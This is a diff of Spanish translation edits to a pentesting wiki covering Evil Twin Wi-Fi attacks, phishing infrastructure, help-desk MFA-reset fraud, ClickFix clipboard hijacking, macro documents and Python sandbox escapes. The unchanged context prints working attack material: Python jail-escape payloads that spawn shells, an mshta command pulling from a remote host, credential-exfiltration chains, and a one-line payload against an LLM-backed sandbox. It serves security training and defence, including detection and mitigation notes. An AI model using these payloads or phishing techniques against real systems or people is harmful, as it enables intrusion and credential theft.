modificada como de costumbre. Además, inicia **`wireshark`** en la **interfaz** que está realizando el ataque de Evil Twin. @@ -595,14 +596,14 @@ Y mira la nueva **pestaña "Decrypted TLS"**: ### Listas negras/blancas de ESSID y MAC -Diferentes tipos de Listas de Filtros de Control de Acceso de Medios (MFACLs) y sus correspondientes modos y efectos en el comportamiento de un Punto de Acceso (AP) falso: +Diferentes tipos de Listas de Filtros de Control de Acceso a Medios (MFACLs) y sus correspondientes modos y efectos en el comportamiento de un Punto de Acceso (AP) falso: 1. **Lista blanca basada en MAC**: - El AP falso solo responderá a solicitudes de sondeo de dispositivos especificados en la lista blanca, permaneciendo invisible para todos los demás no listados. 2. **Lista negra basada en MAC**: - El AP falso ignorará las solicitudes de sondeo de dispositivos en la lista negra, haciendo que el AP falso sea invisible para esos dispositivos específicos. 3. **Lista blanca basada en SSID**: -- El AP falso responderá a solicitudes de sondeo solo para ESSIDs específicos listados, haciéndolo invisible para dispositivos cuya Lista de Redes Preferidas (PNLs) no contenga esos ESSIDs. +- El AP falso responderá a solicitudes de sondeo solo para ESSIDs específicos listados, haciéndolo invisible para dispositivos cuyas Listas de Redes Preferidas (PNLs) no contengan esos ESSIDs. 4. **Lista negra basada en SSID**: - El AP falso no responderá a solicitudes de sondeo para los ESSIDs específicos en la lista negra, haciéndolo invisible para dispositivos que buscan esas redes particulares. ```bash @@ -644,7 +645,7 @@ Un **ataque Loud MANA** es una estrategia avanzada para cuando los dispositivos ``` ### Known Beacon attack -Cuando el **Loud MANA attack** puede no ser suficiente, el **Known Beacon attack** presenta otro enfoque. Este método **fuerza el proceso de conexión simulando un AP que responde a cualquier nombre de red, alternando a través de una lista de ESSIDs potenciales** derivados de una lista de palabras. Esto simula la presencia de numerosas redes, con la esperanza de coincidir un ESSID dentro de la PNL de la víctima, lo que provoca un intento de conexión al AP fabricado. El ataque puede ser amplificado combinándolo con la opción `--loud` para un intento más agresivo de atrapar dispositivos. +Cuando el **Loud MANA attack** puede no ser suficiente, el **Known Beacon attack** presenta otro enfoque. Este método **fuerza el proceso de conexión simulando un AP que responde a cualquier nombre de red, pasando por una lista de ESSIDs potenciales** derivados de una lista de palabras. Esto simula la presencia de numerosas redes, con la esperanza de coincidir un ESSID dentro de la PNL de la víctima, lo que provoca un intento de conexión al AP fabricado. El ataque puede ser amplificado combinándolo con la opción `--loud` para un intento más agresivo de atrapar dispositivos. Eaphammer implementó este ataque como un MANA attack donde todos los ESSIDs dentro de una lista son cargados (también podrías combinar esto con `--loud` para crear un ataque Loud MANA + Known beacons): ```bash @@ -663,9 +664,9 @@ El **ataque de Beacon Burst Conocido** implica **la transmisión rápida de tram ``` ## Wi-Fi Direct -**Wi-Fi Direct** es un protocolo que permite a los dispositivos conectarse directamente entre sí utilizando Wi-Fi sin necesidad de un punto de acceso inalámbrico tradicional. Esta capacidad está integrada en varios dispositivos de Internet de las Cosas (IoT), como impresoras y televisores, facilitando la comunicación directa entre dispositivos. Una característica notable de Wi-Fi Direct es que un dispositivo asume el papel de punto de acceso, conocido como el propietario del grupo, para gestionar la conexión. +**Wi-Fi Direct** es un protocolo que permite a los dispositivos conectarse directamente entre sí utilizando Wi-Fi sin necesidad de un punto de acceso inalámbrico tradicional. Esta capacidad está integrada en varios dispositivos de Internet de las Cosas (IoT), como impresoras y televisores, facilitando la comunicación directa entre dispositivos. Una característica notable de Wi-Fi Direct es que un dispositivo asume el papel de un punto de acceso, conocido como el propietario del grupo, para gestionar la conexión. -La seguridad de las conexiones Wi-Fi Direct se establece a través de **Wi-Fi Protected Setup (WPS)**, que admite varios métodos para un emparejamiento seguro, incluyendo: +La seguridad para las conexiones Wi-Fi Direct se establece a través de **Wi-Fi Protected Setup (WPS)**, que admite varios métodos para un emparejamiento seguro, incluyendo: - **Push-Button Configuration (PBC)** - **PIN entry** diff --git a/src/generic-methodologies-and-resources/phishing-methodology/README.md b/src/generic-methodologies-and-resources/phishing-methodology/README.md index e1ee109e4..53dc84853 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/README.md @@ -55,7 +55,7 @@ Hay una **posibilidad de que uno de algunos bits almacenados o en comunicación Cuando este concepto se **aplica a las solicitudes DNS**, es posible que el **dominio recibido por el servidor DNS** no sea el mismo que el dominio solicitado inicialmente. -Por ejemplo, una modificación de un solo bit en el dominio "windows.com" puede cambiarlo a "windnws.com." +Por ejemplo, una modificación de un solo bit en el dominio "windows.com" puede cambiarlo a "windnws.com". Los atacantes pueden **aprovechar esto registrando múltiples dominios de bit-flipping** que son similares al dominio de la víctima. Su intención es redirigir a los usuarios legítimos a su propia infraestructura. @@ -78,7 +78,7 @@ Para asegurarte de que el dominio expirado que vas a comprar **ya tiene un buen - [https://anymailfinder.com/](https://anymailfinder.com) Para **descubrir más** direcciones de correo electrónico válidas o **verificar las que ya has descubierto**, puedes comprobar si puedes forzar por fuerza bruta los servidores smtp de la víctima. [Aprende cómo verificar/descubrir direcciones de correo electrónico aquí](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ -Además, no olvides que si los usuarios utilizan **cualquier portal web para acceder a sus correos**, puedes verificar si es vulnerable a **fuerza bruta de nombres de usuario**, y explotar la vulnerabilidad si es posible. +Además, no olvides que si los usuarios utilizan **cualquier portal web para acceder a sus correos**, puedes comprobar si es vulnerable a **fuerza bruta de nombres de usuario**, y explotar la vulnerabilidad si es posible. ## Configurando GoPhish @@ -128,7 +128,7 @@ Luego agrega el dominio a los siguientes archivos: Finalmente, modifica los archivos **`/etc/hostname`** y **`/etc/mailname`** a tu nombre de dominio y **reinicia tu VPS.** -Ahora, crea un **registro DNS A** de `mail.` apuntando a la **dirección IP** del VPS y un **registro DNS MX** apuntando a `mail.` +Ahora, crea un **registro A de DNS** de `mail.` apuntando a la **dirección IP** del VPS y un **registro MX de DNS** apuntando a `mail.` Ahora probemos enviar un correo: ```bash @@ -247,7 +247,7 @@ Este es el contenido que debe establecerse dentro de un registro TXT dentro del ```bash v=spf1 mx a ip4:ip.ip.ip.ip ?all ``` -### Registro de Autenticación, Informe y Conformidad de Mensajes Basado en Dominio (DMARC) +### Registro de Autenticación de Mensajes Basado en Dominio, Informes y Conformidad (DMARC) Debes **configurar un registro DMARC para el nuevo dominio**. Si no sabes qué es un registro DMARC [**lee esta página**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc). @@ -271,7 +271,7 @@ Este tutorial se basa en: [https://www.digitalocean.com/community/tutorials/how- ### Prueba tu puntuación de configuración de correo electrónico Puedes hacerlo usando [https://www.mail-tester.com/](https://www.mail-tester.com)\ -Solo accede a la página y envía un correo electrónico a la dirección que te den: +Simplemente accede a la página y envía un correo electrónico a la dirección que te den: ```bash echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com ``` @@ -313,7 +313,7 @@ La página [www.mail-tester.com](https://www.mail-tester.com) puede indicarte si > [!TIP] > Se recomienda utilizar la funcionalidad "**Enviar correo de prueba**" para comprobar que todo está funcionando.\ -> Recomendaría **enviar los correos de prueba a direcciones de 10min** para evitar ser incluido en la lista negra al hacer pruebas. +> Recomendaría **enviar los correos de prueba a direcciones de 10min** para evitar ser incluido en la lista negra al realizar pruebas. ### Plantilla de correo electrónico @@ -413,17 +413,17 @@ Aquí es donde herramientas como [**evilginx2**](https://github.com/kgretzky/evi 1. **Suplantas el formulario de inicio de sesión** de la página web real. 2. El usuario **envía** sus **credenciales** a tu página falsa y la herramienta las envía a la página web real, **verificando si las credenciales funcionan**. -3. Si la cuenta está configurada con **2FA**, la página MitM lo pedirá y una vez que el **usuario lo introduce**, la herramienta lo enviará a la página web real. -4. Una vez que el usuario está autenticado, tú (como atacante) habrás **capturado las credenciales, el 2FA, la cookie y cualquier información** de cada interacción mientras la herramienta realiza un MitM. +3. Si la cuenta está configurada con **2FA**, la página MitM lo pedirá y una vez que el **usuario lo introduzca**, la herramienta lo enviará a la página web real. +4. Una vez que el usuario esté autenticado, tú (como atacante) habrás **capturado las credenciales, el 2FA, la cookie y cualquier información** de cada interacción mientras la herramienta realiza un MitM. ### A través de VNC -¿Qué pasaría si en lugar de **enviar a la víctima a una página maliciosa** con el mismo aspecto que la original, lo envías a una **sesión VNC con un navegador conectado a la página web real**? Podrás ver lo que hace, robar la contraseña, el MFA utilizado, las cookies...\ +¿Qué pasaría si en lugar de **enviar a la víctima a una página maliciosa** con la misma apariencia que la original, lo envías a una **sesión VNC con un navegador conectado a la página web real**? Podrás ver lo que hace, robar la contraseña, el MFA utilizado, las cookies...\ Puedes hacer esto con [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) ## Detectando la detección -Obviamente, una de las mejores maneras de saber si te han descubierto es **buscar tu dominio en listas negras**. Si aparece listado, de alguna manera tu dominio fue detectado como sospechoso.\ +Obviamente, una de las mejores maneras de saber si te han descubierto es **buscar tu dominio dentro de listas negras**. Si aparece listado, de alguna manera tu dominio fue detectado como sospechoso.\ Una forma fácil de verificar si tu dominio aparece en alguna lista negra es usar [https://malwareworld.com/](https://malwareworld.com) Sin embargo, hay otras formas de saber si la víctima está **buscando activamente actividad sospechosa de phishing en la red** como se explica en: @@ -440,7 +440,7 @@ Usa [**Phishious** ](https://github.com/Rices/Phishious) para evaluar si tu corr ## Compromiso de Identidad de Alto Contacto (Restablecimiento de MFA de Help-Desk) -Los conjuntos de intrusión modernos evitan cada vez más los señuelos por correo electrónico y **apuntan directamente al servicio de atención al cliente / flujo de recuperación de identidad** para derrotar el MFA. El ataque es completamente "vivir de la tierra": una vez que el operador posee credenciales válidas, pivotan con herramientas administrativas integradas; no se requiere malware. +Los conjuntos de intrusión modernos evitan cada vez más los señuelos de correo electrónico y **apuntan directamente al servicio de atención al cliente / flujo de recuperación de identidad** para derrotar el MFA. El ataque es completamente "vivir de la tierra": una vez que el operador posee credenciales válidas, se desplaza con herramientas administrativas integradas; no se requiere malware. ### Flujo de ataque 1. Reconocimiento de la víctima @@ -450,7 +450,7 @@ Los conjuntos de intrusión modernos evitan cada vez más los señuelos por corr * Llama, usa Teams o chatea con el servicio de atención al cliente suplantando al objetivo (a menudo con **ID de llamada falsificada** o **voz clonada**). * Proporciona la PII recopilada previamente para pasar la verificación basada en el conocimiento. * Convence al agente para que **restablezca el secreto de MFA** o realice un **cambio de SIM** en un número de móvil registrado. -3. Acciones inmediatas post-acceso (≤60 min en casos reales) +3. Acciones inmediatas posteriores al acceso (≤60 min en casos reales) * Establece un punto de apoyo a través de cualquier portal SSO web. * Enumera AD / AzureAD con herramientas integradas (sin binarios descargados): ```powershell @@ -463,14 +463,14 @@ Get-MgDirectoryRole | ft DisplayName,Id # Enumerar dispositivos a los que la cuenta puede iniciar sesión Get-MgUserRegisteredDevice -UserId ``` -* Movimiento lateral con **WMI**, **PsExec**, o agentes legítimos de **RMM** ya blanqueados en el entorno. +* Movimiento lateral con **WMI**, **PsExec**, o agentes legítimos de **RMM** ya autorizados en el entorno. ### Detección y Mitigación * Trata la recuperación de identidad del servicio de atención al cliente como una **operación privilegiada** – requiere autenticación adicional y aprobación del gerente. * Despliega reglas de **Detección y Respuesta a Amenazas de Identidad (ITDR)** / **UEBA** que alerten sobre: * Método de MFA cambiado + autenticación desde un nuevo dispositivo / geo. * Elevación inmediata del mismo principal (usuario-→-administrador). -* Graba las llamadas al servicio de atención al cliente y aplica un **callback a un número ya registrado** antes de cualquier restablecimiento. +* Graba las llamadas al servicio de atención al cliente y aplica un **llamada de retorno a un número ya registrado** antes de cualquier restablecimiento. * Implementa **Just-In-Time (JIT) / Acceso Privilegiado** para que las cuentas recién restablecidas **no** hereden automáticamente tokens de alto privilegio. --- @@ -478,7 +478,7 @@ Get-MgUserRegisteredDevice -UserId ## Decepción a Gran Escala – Envenenamiento SEO y Campañas “ClickFix” Los grupos de commodities compensan el costo de operaciones de alto contacto con ataques masivos que convierten **motores de búsqueda y redes publicitarias en el canal de entrega**. -1. **El envenenamiento SEO / malvertising** empuja un resultado falso como `chromium-update[.]site` a los anuncios de búsqueda más altos. +1. **Envenenamiento SEO / malvertising** empuja un resultado falso como `chromium-update[.]site` a los anuncios de búsqueda más altos. 2. La víctima descarga un pequeño **cargador de primera etapa** (a menudo JS/HTA/ISO). Ejemplos vistos por Unit 42: * `RedLine stealer` * `Lumma stealer` @@ -503,21 +503,21 @@ and child_image: *\\*.exe ## Operaciones de Phishing Mejoradas por IA Los atacantes ahora encadenan **APIs de LLM y clonación de voz** para señuelos completamente personalizados e interacción en tiempo real. -| Capa | Ejemplo de uso por el actor de amenaza | +| Capa | Ejemplo de uso por el actor de amenazas | |-------|-----------------------------| |Automatización|Generar y enviar >100 k correos / SMS con redacción aleatoria y enlaces de seguimiento.| -|IA Generativa|Producir correos *únicos* que hacen referencia a M&A públicos, chistes internos de redes sociales; voz de CEO deep-fake en estafa de callback.| +|IA Generativa|Producir correos *únicos* que hacen referencia a M&A públicos, bromas internas de redes sociales; voz de CEO deep-fake en estafa de devolución de llamada.| |IA Agente|Registrar dominios de forma autónoma, raspar inteligencia de código abierto, elaborar correos de siguiente etapa cuando una víctima hace clic pero no envía credenciales.| **Defensa:** -• Agrega **banners dinámicos** que resalten mensajes enviados desde automatización no confiable (a través de anomalías ARC/DKIM). +• Agrega **banners dinámicos** que resalten mensajes enviados desde automatización no confiable (a través de anomalías de ARC/DKIM). • Despliega **frases de desafío biométrico de voz** para solicitudes telefónicas de alto riesgo. • Simula continuamente señuelos generados por IA en programas de concienciación – las plantillas estáticas son obsoletas. --- ## Variante de Fatiga MFA / Bombardeo de Push – Restablecimiento Forzado -Además del bombardeo clásico de push, los operadores simplemente **forzan un nuevo registro de MFA** durante la llamada al servicio de atención al cliente, anulando el token existente del usuario. Cualquier solicitud de inicio de sesión subsiguiente parece legítima para la víctima. +Además del bombardeo clásico de push, los operadores simplemente **forzan un nuevo registro de MFA** durante la llamada al servicio de atención al cliente, anulando el token existente del usuario. Cualquier solicitud de inicio de sesión posterior parece legítima para la víctima. ```text [Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?” [Help-Desk] → AzureAD: ‘Delete existing methods’ → sends registration e-mail diff --git a/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md b/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md index 1677546ac..93008369f 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md @@ -55,7 +55,7 @@ powershell -nop -enc # Cloud Identificator: 2031 ``` mshta https://iplogger.co/xxxx =+\\xxx ``` -La llamada **mshta** lanza un script de PowerShell oculto que recupera `PartyContinued.exe`, extrae `Boat.pst` (CAB), reconstruye `AutoIt3.exe` a través de `extrac32` y concatenación de archivos, y finalmente ejecuta un script `.a3x` que exfiltra credenciales del navegador a `sumeriavgv.digital`. +La llamada **mshta** lanza un script de PowerShell oculto que recupera `PartyContinued.exe`, extrae `Boat.pst` (CAB), reconstruye `AutoIt3.exe` a través de `extrac32` y concatenación de archivos y finalmente ejecuta un script `.a3x` que exfiltra credenciales del navegador a `sumeriavgv.digital`. ## Detección y Caza @@ -68,14 +68,15 @@ Los equipos azules pueden combinar la telemetría del portapapeles, la creación ## Mitigaciones -1. Endurecimiento del navegador – deshabilitar el acceso de escritura al portapapeles (`dom.events.asyncClipboard.clipboardItem` etc.) o requerir un gesto del usuario. +1. Dureza del navegador – deshabilitar el acceso de escritura al portapapeles (`dom.events.asyncClipboard.clipboardItem` etc.) o requerir un gesto del usuario. 2. Conciencia de seguridad – enseñar a los usuarios a *escribir* comandos sensibles o pegarlos primero en un editor de texto. 3. Modo de Lenguaje Restringido de PowerShell / Política de Ejecución + Control de Aplicaciones para bloquear líneas de comandos arbitrarias. 4. Controles de red – bloquear solicitudes salientes a dominios conocidos de pastejacking y C2 de malware. ## Trucos Relacionados -* **Secuestro de Invitaciones de Discord** a menudo abusa del mismo enfoque ClickFix después de atraer a los usuarios a un servidor malicioso: +* El **Secuestro de Invitaciones de Discord** a menudo abusa del mismo enfoque ClickFix después de atraer a los usuarios a un servidor malicioso: + {{#ref}} discord-invite-hijacking.md {{#endref}} diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 1a4447f8e..b31a807fb 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -27,7 +27,7 @@ _**Categorías**: Enlaces y Referencias, **Nombres de campo**: includePicture, y Es posible usar macros para ejecutar código arbitrario desde el documento. -#### Funciones de Carga Automática +#### Funciones de Autocarga Cuanto más comunes sean, más probable es que el AV las detecte. @@ -68,10 +68,10 @@ proc.Create "powershell Ve a **Archivo > Información > Inspeccionar documento > Inspeccionar documento**, lo que abrirá el Inspector de documentos. Haz clic en **Inspeccionar** y luego en **Eliminar todo** junto a **Propiedades del documento e información personal**. -#### Extensión de Doc +#### Extensión de documento Cuando termines, selecciona el menú desplegable **Guardar como tipo**, cambia el formato de **`.docx`** a **Word 97-2003 `.doc`**.\ -Haz esto porque **no puedes guardar macros dentro de un `.docx`** y hay un **estigma** **alrededor** de la extensión habilitada para macros **`.docm`** (por ejemplo, el ícono de miniatura tiene un enorme `!` y algunos gateways web/correo los bloquean por completo). Por lo tanto, esta **extensión heredada `.doc` es el mejor compromiso**. +Haz esto porque **no puedes guardar macros dentro de un `.docx`** y hay un **estigma** **alrededor** de la extensión habilitada para macros **`.docm`** (por ejemplo, el ícono de miniatura tiene un gran `!` y algunos gateways web/correo los bloquean por completo). Por lo tanto, esta **extensión `.doc` heredada es el mejor compromiso**. #### Generadores de macros maliciosas @@ -144,10 +144,12 @@ Hay varias formas de **forzar la autenticación NTLM "remotamente"**, por ejempl **Revisa estas ideas y más en las siguientes páginas:** + {{#ref}} ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md {{#endref}} + {{#ref}} ../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md {{#endref}} diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index c9fef382f..27ac59d23 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -39,7 +39,7 @@ open('/var/www/html/input', 'w').write('123') execfile('/usr/lib/python2.7/os.py') system('ls') ``` -Recuerda que las funciones _**open**_ y _**read**_ pueden ser útiles para **leer archivos** dentro de la sandbox de python y para **escribir algún código** que podrías **ejecutar** para **eludir** la sandbox. +Recuerda que las funciones _**open**_ y _**read**_ pueden ser útiles para **leer archivos** dentro de la sandbox de python y para **escribir algo de código** que podrías **ejecutar** para **eludir** la sandbox. > [!CAUTION] > La función **input()** de **Python2** permite ejecutar código python antes de que el programa se bloquee. @@ -52,7 +52,7 @@ Python intenta **cargar bibliotecas del directorio actual primero** (el siguient ### Paquetes por defecto Puedes encontrar una **lista de paquetes preinstalados** aquí: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ -Ten en cuenta que desde un pickle puedes hacer que el entorno de python **importe bibliotecas arbitrarias** instaladas en el sistema.\ +Ten en cuenta que desde un pickle puedes hacer que el entorno python **importe bibliotecas arbitrarias** instaladas en el sistema.\ Por ejemplo, el siguiente pickle, al ser cargado, va a importar la biblioteca pip para usarla: ```python #Note that here we are importing the pip library so the pickle is created correctly @@ -83,15 +83,15 @@ Puedes descargar el paquete para crear el reverse shell aquí. Por favor, ten en Reverse.tar (1).gz {{#endfile}} -> [!NOTE] +> [!TIP] > Este paquete se llama `Reverse`. Sin embargo, fue diseñado especialmente para que cuando salgas del reverse shell el resto de la instalación falle, así que **no dejarás ningún paquete de python extra instalado en el servidor** cuando te vayas. ## Eval-ing python code > [!WARNING] -> Ten en cuenta que exec permite cadenas de múltiples líneas y ";", pero eval no (ver operador walrus) +> Ten en cuenta que exec permite cadenas de varias líneas y ";", pero eval no (ver operador walrus) -Si ciertos caracteres están prohibidos, puedes usar la representación **hex/octal/B64** para **bypassar** la restricción: +Si ciertos caracteres están prohibidos, puedes usar la representación **hex/octal/B64** para **bypasar** la restricción: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -137,7 +137,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval'] ``` ## Bypass de protecciones a través de codificaciones (UTF-7) -En [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) se utiliza UTF-7 para cargar y ejecutar código python arbitrario dentro de una aparente sandbox: +En [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) se utiliza UFT-7 para cargar y ejecutar código python arbitrario dentro de una aparente sandbox: ```python assert b"+AAo-".decode("utf_7") == "\n" @@ -152,7 +152,7 @@ También es posible eludirlo utilizando otras codificaciones, por ejemplo, `raw_ ## Ejecución de Python sin llamadas -Si estás dentro de una cárcel de python que **no te permite hacer llamadas**, todavía hay algunas maneras de **ejecutar funciones arbitrarias, código** y **comandos**. +Si estás dentro de una cárcel de python que **no te permite hacer llamadas**, todavía hay algunas formas de **ejecutar funciones, código** y **comandos arbitrarios**. ### RCE con [decoradores](https://docs.python.org/3/glossary.html#term-decorator) ```python @@ -176,7 +176,7 @@ X = exec(X) @'__import__("os").system("sh")'.format class _:pass ``` -### RCE creando objetos y sobrecarga +### RCE creando objetos y sobrecargando Si puedes **declarar una clase** y **crear un objeto** de esa clase, podrías **escribir/sobrescribir diferentes métodos** que pueden ser **activados** **sin** **necesitar llamarlos directamente**. @@ -293,7 +293,7 @@ __iadd__ = eval __builtins__.__import__ = X {}[1337] ``` -### Leer archivo con ayuda de builtins y licencia +### Leer archivo con ayuda y licencia de builtins ```python __builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help @@ -314,8 +314,8 @@ __builtins__.__dict__['__import__']("os").system("ls") ``` ### No Builtins -Cuando no tienes `__builtins__`, no podrás importar nada ni siquiera leer o escribir archivos ya que **todas las funciones globales** (como `open`, `import`, `print`...) **no están cargadas**.\ -Sin embargo, **por defecto, python importa muchos módulos en memoria**. Estos módulos pueden parecer benignos, pero algunos de ellos **también importan funcionalidades peligrosas** dentro de ellos que pueden ser accedidas para obtener incluso **ejecución de código arbitrario**. +Cuando no tienes `__builtins__` no podrás importar nada ni siquiera leer o escribir archivos ya que **todas las funciones globales** (como `open`, `import`, `print`...) **no están cargadas**.\ +Sin embargo, **por defecto, python importa muchos módulos en memoria**. Estos módulos pueden parecer benignos, pero algunos de ellos **también importan funcionalidades peligrosas** dentro de ellos que pueden ser accedidas para obtener incluso **ejecución arbitraria de código**. En los siguientes ejemplos puedes observar cómo **abusar** de algunos de estos módulos "**benignos**" cargados para **acceder** a **funcionalidades** **peligrosas** dentro de ellos. @@ -682,7 +682,7 @@ people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` -Nota cómo puedes **acceder a atributos** de manera normal con un **punto** como `people_obj.__init__` y **elementos de diccionario** con **paréntesis** sin comillas `__globals__[CONFIG]` +Nota cómo puedes **acceder a atributos** de manera normal con un **punto** como `people_obj.__init__` y **elemento de dict** con **paréntesis** sin comillas `__globals__[CONFIG]` También nota que puedes usar `.__dict__` para enumerar elementos de un objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` @@ -707,6 +707,7 @@ return 'HAL 9000' > [!CAUTION] > Consulta también la siguiente página para gadgets que **leerán información sensible de los objetos internos de Python**: + {{#ref}} ../python-internal-read-gadgets.md {{#endref}} @@ -727,19 +728,19 @@ secret_variable = "clueless" x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol') str(x) # Out: clueless ``` -### Bypass de cárceles LLM +### Bypass de LLM Jails Desde [aquí](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` ### De formato a RCE cargando bibliotecas -Según el [**desafío TypeMonkey de este informe**](https://corgi.rip/posts/buckeye-writeups/), es posible cargar bibliotecas arbitrarias desde el disco abusando de la vulnerabilidad de cadena de formato en python. +Según el [**desafío TypeMonkey de este informe**](https://corgi.rip/posts/buckeye-writeups/), es posible cargar bibliotecas arbitrarias desde el disco abusando de la vulnerabilidad de formato de cadena en python. Como recordatorio, cada vez que se realiza una acción en python se ejecuta alguna función. Por ejemplo, `2*3` ejecutará **`(2).mul(3)`** o **`{'a':'b'}['a']`** será **`{'a':'b'}.__getitem__('a')`**. Tienes más como esto en la sección [**Ejecución de Python sin llamadas**](#python-execution-without-calls). -Una vulnerabilidad de cadena de formato en python no permite ejecutar funciones (no permite usar paréntesis), por lo que no es posible obtener RCE como `'{0.system("/bin/sh")}'.format(os)`.\ +Una vulnerabilidad de formato de cadena en python no permite ejecutar funciones (no permite usar paréntesis), por lo que no es posible obtener RCE como `'{0.system("/bin/sh")}'.format(os)`.\ Sin embargo, es posible usar `[]`. Por lo tanto, si una biblioteca común de python tiene un método **`__getitem__`** o **`__getattr__`** que ejecuta código arbitrario, es posible abusar de ellos para obtener RCE. Buscando un gadget así en python, el informe propone esta [**consulta de búsqueda en Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Donde encontró este [uno](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463): @@ -772,10 +773,10 @@ El desafío en realidad abusa de otra vulnerabilidad en el servidor que permite ## Disectando Objetos de Python -> [!NOTE] +> [!TIP] > Si quieres **aprender** sobre **bytecode de python** en profundidad, lee este **increíble** post sobre el tema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) -En algunos CTFs, se te podría proporcionar el nombre de una **función personalizada donde reside la bandera** y necesitas ver los **internos** de la **función** para extraerla. +En algunos CTFs se te podría proporcionar el nombre de una **función personalizada donde reside la bandera** y necesitas ver los **internos** de la **función** para extraerla. Esta es la función a inspeccionar: ```python @@ -824,7 +825,7 @@ compile("print(5)", "", "single") dir(get_flag.__code__) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] ``` -### Obtener información del código +### Obtener Información del Código ```python # Another example s = ''' @@ -898,7 +899,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` -Nota que **si no puedes importar `dis` en la sandbox de python** puedes obtener el **bytecode** de la función (`get_flag.func_code.co_code`) y **desensamblarlo** localmente. No verás el contenido de las variables que se están cargando (`LOAD_CONST`), pero puedes inferirlas de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` también indica el desplazamiento de la variable que se está cargando. +Tenga en cuenta que **si no puede importar `dis` en la sandbox de python** puede obtener el **bytecode** de la función (`get_flag.func_code.co_code`) y **desensamblarlo** localmente. No verá el contenido de las variables que se están cargando (`LOAD_CONST`), pero puede inferirlas de (`get_flag.func_code.co_consts`) porque `LOAD_CONST` también indica el desplazamiento de la variable que se está cargando. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -938,7 +939,7 @@ return "Nope" ``` ### Creando el objeto de código -Primero que nada, necesitamos saber **cómo crear y ejecutar un objeto de código** para que podamos crear uno para ejecutar nuestra función filtrada: +Primero que nada, necesitamos saber **cómo crear y ejecutar un objeto de código** para que podamos crear uno para ejecutar nuestra función leak: ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this @@ -957,7 +958,7 @@ mydict = {} mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` -> [!NOTE] +> [!TIP] > Dependiendo de la versión de python, los **parámetros** de `code_type` pueden tener un **orden diferente**. La mejor manera de conocer el orden de los parámetros en la versión de python que estás ejecutando es ejecutar: > > ``` @@ -1020,21 +1021,22 @@ ctype = type((lambda: None).func_code) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f(42) ``` -## Decompilando Python Compilado +## Decompilación de Python Compilado -Usando herramientas como [**https://www.decompiler.com/**](https://www.decompiler.com) se puede **decompilar** código python compilado dado. +Usando herramientas como [**https://www.decompiler.com/**](https://www.decompiler.com) se puede **decompilar** el código python compilado dado. **Consulta este tutorial**: + {{#ref}} ../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md {{#endref}} -## Misc Python +## Python Varios -### Assert +### Afirmar -Python ejecutado con optimizaciones con el parámetro `-O` eliminará las declaraciones de aserción y cualquier código 